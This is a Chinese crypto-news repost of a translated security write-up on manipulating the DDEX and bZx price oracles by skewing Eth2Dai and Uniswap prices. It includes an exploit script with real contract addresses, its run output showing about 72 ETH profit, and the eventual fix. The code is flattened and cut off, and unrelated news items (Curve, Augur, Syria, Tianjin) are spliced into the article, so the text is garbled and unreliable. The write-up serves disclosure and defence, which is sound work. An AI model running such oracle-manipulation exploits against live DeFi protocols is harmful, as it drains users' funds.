火星链 火星链
Ctrl+D收藏火星链
首页 > XLM > 正文

ETH:通过操控抵押品价格预言机牟利

作者:

时间:1900/1/1 0:00:00

译文出自:登链翻译计划

译者:翻译小组

校对:Tiny熊

太长不看版

因依赖链上去中心化的价格预言而不验证返回的价格,DDEX和bZx容易受到价格操纵攻击。这导致DDEX的ETH/DAI市场损失ETH流动性,以及bZx中所有损失流动性资金,在本文中,将介绍价格操纵攻击的原理、如何实施的攻击、以及如何应对。

什么是去中心化贷款?

首先,让我们谈谈传统贷款。贷款时,通常需要提供某种抵押品,这样,如果你拖欠贷款,贷方便可以扣留抵押品。为了确定你需要提供多少抵押品,贷方通常会知道或能够可靠地计算出抵押品的公平市场价值(FMV)。

在去中心化贷款中,除了贷方现在是与外界隔离的智能合约之外,其他过程相同。这意味着它不能简单地“知道”你提供的任何抵押品的FMV。

为了解决此问题,开发人员指示智能合约查询价格预言机,该预言机接受代币地址并返回对应计价货币(例如ETH或USD)的当前价格。不同的DeFi项目采用了不同的方法来实现此预言机,但通常可以将它们全部归类为以下五种方式之一(尽管某些实现比其他实现更模糊):

链下中心化预言机这种类型的预言机只接受来自链下价格来源的新价格,通常来自项目控制的帐户。由于需要使用新汇率快速通知更新预言机,因此该帐户通常是EOA,而不是多签钱包。可能需要进行一些合理的检查,以确保价格波动不会太大。Compound和Synthetix的大多数资产使用这种类型的预言机。

数据:Curve创始人已通过OTC累计出售3925万枚CRV:8月1日消息,据Lookonchain监测,截至今日19时,Curve创始人Michael Egorov已通过OTC累计出售3925万枚CRV,收到1580万枚USDT。[2023/8/1 16:11:55]

链下去中心化预言机这种预言机从多个链下来源接受新价格,并通过数学函数(例如平均值)合并这些值。在此模型中,通常使用多签名钱包来管理授权价格源列表。Maker针对ETH和其他资产使用这种类型的预言机。

链上中心化预言机这种类型的预言机使用链上价格来源(例如DEX)确定资产价格。但是,只有授权账号才能触发预言机从链上源读取。像链下中心化预言机一样,这种类型的预言机需要快速更新,因此授权触发帐户可能是EOA而不是多签钱包。dYdX和Nuo针对一些资产使用这种类型的预言机。

链上去中心化预言机这种预言机使用链上价格来源确定资产价格,但是任何人都可以更新。可能需要进行一些合理检查,以确保价格波动不会太大。DDEX将这种类型的预言机用于DAI,而bZx对所有资产使用这种类型的预言机。

常量预言机这种类型的预言机简单地返回一个常数,通常用于稳定币。由于USDC钉住美元,因此上述几乎所有项目都将这种类型的预言机用于USDC。

问题

在寻找其他易受攻击的项目时,我看到了这条推文:

老实说,我担心他们会将其用作价格喂价源。如果我的预感是正确的,那很容易受到攻击。

Augur 将通过使用 DXdao 结构引入 AugurDAO:11月19日消息,去中心化预测市场协议 Augur 宣布将引入 AugurDAO,不过会与管理着预测市场 Omen 的去中心化自治组织 DXdao 合作,并使用 DXdao 结构来构建 AugurDAO,但治理将由 REPv2 持有者推动。Augur 计划于 2021 年 11 月底对支持 DAO 投票的智能合约进行审计,目前还在开发中。

之后,DXdao 论坛将提出一项提案来讨论 DXdao 对 AugurDAO 的支持和合作关系细节。此外,Augur Discord目前已完全由社区志愿者运营。[2021/11/19 6:59:26]

—Vitalik非以太赠予者(uint256eth2daiPrice=getEth2DaiPrice();if(eth2daiPrice>0){_price=makerDaoPrice

uint256uniswapPrice=getUniswapPrice();if(uniswapPrice>0){_price=makerDaoPrice

return_price;}functiongetEth2DaiPrice()publicviewreturns(uint256){if(Eth2Dai

uint256bidDai=Eth2Dai

else{returnbidPrice

天津自贸区中心商务片区通过区块链等实现司法仲裁线上处理:天津自贸区中心商务片区在全市率先上线“企业信息监管平台”和“行业数据监测系统”,健全风险预警预报机制,变被动监管为主动监管,首创金融纠纷智慧审判服务平台,通过区块链、人工智能、大数据等技术,实现司法仲裁全程线上处理,率先试水金融监管“沙盒”模式支持金融科技产业发展,确保监管能力提升与金融开放创新同步。(今晚报)[2020/10/9]

}functiongetUniswapPrice()publicviewreturns(uint256){uint256ethAmount=UNISWAP

else{returnuniswapPrice;}}functiongetMakerDaoPrice()publicviewreturns(uint256){(bytes32value,boolhas)=makerDaoOracle

else{return0;}}

参考源码

为了触发更新并使预言机刷新其存储的值,用户只需调用updatePrice()即可。

functionupdatePrice()publicreturns(bool){uint256_price=peek();if(_price!=0){price=_price;emitUpdatePrice(price);returntrue;}else{returnfalse;}}

第三批叙武装分子正在准备通过土耳其前往纳卡地区参战:叙利亚反对派消息人士表示,第三批叙武装分子正在准备通过土耳其前往卡拉巴赫地区参战,另外两队人员已经就位。此前俄罗斯外交部表示:叙利亚北部大规模招募武装分子并重新部署到卡拉巴赫地区,情况令人担忧。[2020/10/2]

参考源码

攻击原理

假设我们可以操纵DAI/USD的价格表现。如果是这种情况,我们希望使用它借用系统中的所有ETH,同时提供尽可能少的DAI。为此,我们可以降低ETH/USD的表现价格或增加DAI/USD的表现价格。由于我们已经假设DAI/USD的表现价值是可操纵的,因此我们选择后者。

为了增加DAI/USD的表现价格,我们可以增加ETH/USD的表现价格,或者降低ETH/DAI的表现价格。基于当前意图和目的,操纵Maker的预言是不可能的,因此我们将尝试降低ETH/DAI的表现价值。

编者注,因为DAI/USD价格=ETH/USD价格÷ETH/DAI价格

预言机通过Eth2Dai取当前要价和当前出价的平均值来计算ETH/DAI的值。为了降低此值,我们需要通过填充现有订单来降低当前出价,然后通过下新订单来降低当前要价。

但是,这需要大量的初始投资(因为我们需要先填写订单,然后再生成相等数量的订单),并且实施起来并不容易。另一方面,我们可以通过在Uniswap大量交易DAI来影响Uniswap中的价格。因此,我们的目标是绕过Eth2Dai逻辑并操纵Uniswap价格。

《比特币与美国黑人》作者:认同通过比特币赋予非遗美国人经济实力:《比特币与美国黑人》作者Isaiah Jackson近期在接受采访时谈及如何用比特币帮助非裔美国人“和平抗议”时表示,首先就是购买力,无论是来自法币还是比特币。美国非裔美国人和白人之间的贫富差距,是由长期以来的种族主义行为造成的,包括银行划定红线和歧视。如果要停止像George Floyd被杀这样的悲剧,这一问题也需要解决。

Jackson强调了没有经济权力对社区的影响:“如果你没有经济实力,警察也就不会重视你。他们不把你当人看,这是个问题。”尽管Jackson表示,他并不反对为支持抗议活动而进行加密或现金捐款,但投资需要更深入,包括对黑人拥有的小型企业的投资。他认为,与走上街头相比,资本可以用不同的方式帮助打击警察暴行。(Cointelegraph)[2020/6/7]

为了绕过Eth2Dai,我们需要控制价格的波动幅度。我们可以通过以下两种方式之一进行操作:

清除订单的一侧,而保留另一侧。这导致价差正增长

通过列出极端的买入或卖出订单来强制执行交叉的订单。这会导致利差下降。

尽管选项2不会因不利订单而造成任何损失,但SafeMath不允许使用交叉订单,因此我们无法使用。相反,我们会通过清除订单的一侧来强制产生较大的正价差。这将导致DAI预言机回退到Uniswap来确定DAI的价格。然后,我们可以通过购买大量DAI来降低DAI/ETH的Uniswap价格。一旦操纵了DAI/USD的表现价值,便像往常一样借贷很简单。

攻击演示

以下脚本将通过以下方式获利约70ETH:

清除Eth2Dai的卖单,直到价差足够大,以致预言机拒绝价格

从Uniswap购买更多DAI,价格从213DAI/ETH降至13DAI/ETH

用少量DAI(?2500)借出所有可用ETH(?120)

将我们从Uniswap购买的DAI卖回Uniswap

将我们从Eth2Dai购买的DAI卖回Eth2Dai

重置预言机(不想让其他人滥用我们的优惠价格)

contractDDEXExploitisScript,Constants,TokenHelper{OracleLikeprivateconstantETH_ORACLE=OracleLike(0x8984F1CFf1d614a7404b0cfE97C6fa9110b93Bd2);DaiOracleLikeprivateconstantDAI_ORACLE=DaiOracleLike(0xeB1f1A285fee2AB60D2910F2786E1D036E09EAA8);ERC20LikeprivateconstantHYDRO_ETH=ERC20Like(0x000000000000000000000000000000000000000E);HydroLikeprivateconstantHYDRO=HydroLike(0x241e82C79452F51fbfc89Fac6d912e021dB1a3B7);uint16privateconstantETHDAI_MARKET_ID=1;uintprivateconstantINITIAL_BALANCE=25000ether;functionsetup()public{name("ddex-exploit");blockNumber(8572000);}functionrun()public{begin("exploit")

functioncheckRates()external{uintethPrice=ETH_ORACLE

uintprivateboughtFromMatchingMarket=0;functionskewRates()external{skewUniswapPrice();skewMatchingMarket();require(DAI_ORACLE

functionskewUniswapPrice()internal{DAI

functionskewMatchingMarket()internal{uintstart=DAI

boughtFromMatchingMarket=DAI

functionsteal()external{HydroLike

functioncleanup()external{DAI

functioncheckProfits()external{printf("profits=%

}/*###runningscript"ddex-exploit"atblock8572000####executingstep:exploit#####calling:checkRates()eth=213.440000000000000000dai=1.003140638067989051#####calling:skewRates()#####calling:checkRates()eth=213.440000000000000000dai=16.058419875880325580#####calling:steal()ethWanted=122.103009983203364425daiNeeded=2435.392672403537525078#####calling:cleanup()#####calling:checkProfits()profits=72.140629996890984407####finishedexecutingstep:exploit*/

解决方案

DDEX团队通过部署新的预言机解决了此问题这对DAI的价格设置了合约价格界限,目前将其设置为0.95和1.05。

本文来源于非小号媒体平台:

登链社区

现已在非小号资讯平台发布105篇作品,

非小号开放平台欢迎币圈作者入驻

入驻指南:

/apply_guide/

本文网址:

/news/9559363.html

免责声明:

1.资讯内容不构成投资建议,投资者应独立决策并自行承担风险

2.本文版权归属原作所有,仅代表作者本人观点,不代表非小号的观点或立场

上一篇:

币安为何推出第三条链?这对BNB意味着什么?

标签:DAIETHPRIRICEDaisy ProtocolETH数字钱包prime币怎么样rice币官网

XLM热门资讯
FILE:FIL价格会如何变化,2021,我们拭目以待!

IPFS未来价值一万一枚?Filecoin项目的现状与发展前景!2020年将要结束,这一年,区块链行业给你印像最深刻的是啥?我们来聊一聊,2020年最火爆的区块链项目Filecoin.

1900/1/1 0:00:00
ICR:华尔街知名投行Jefferies分析:后疫情时代美元利率、黄金和比特币市场

如果说2020年是“新冠疫情”之年,但其实也是“比特币之年”,因为在这一年中,比特币已经愈发成熟了.

1900/1/1 0:00:00
PAL:比特币2020年终总结报告:即便涨到1百万美金 也可能和绝大多数人没关系

按照白话每年的惯例,临近年末,又到了写年终总结的时刻,也又到了盘点“几家欢喜几家愁”的日子。今年的主题,可以说与往年的TPS,匿名,隐私,平台币,更好的BTC,更好的以太坊等等统统没有关系,今年.

1900/1/1 0:00:00
EFI:FIL投资者的强共识,DeFIL平台FIL存币量一“月”之间突破50万枚

12月21日,据DeFIL借贷平台数据显示,平台FIL存币量突破50万枚大关!成为DeFi市场上备受瞩目的FIL借贷平台,而这距离上次DeFIL平台上线的时间仅仅只过了1个月.

1900/1/1 0:00:00
EFI:利率游戏:玩转加密世界的时间法则

时间是有价值的,利率是时间价值最基本的表现形式。通过对利率的探索和研究,我们能够更深入地了解金融的本质,并借此开发出广泛适用于各种场景的交易模型,捕获长期稳定的商业价值.

1900/1/1 0:00:00
Filecoin 经济模型GAS机制:天价燃料费GAS该怎么应对丨星际数据

燃料费用高昂,老矿工无奈纷纷停工,趁这个时机调整一下矿池,但挡不住新进矿工的涌入,继续推高Gas费用.

1900/1/1 0:00:00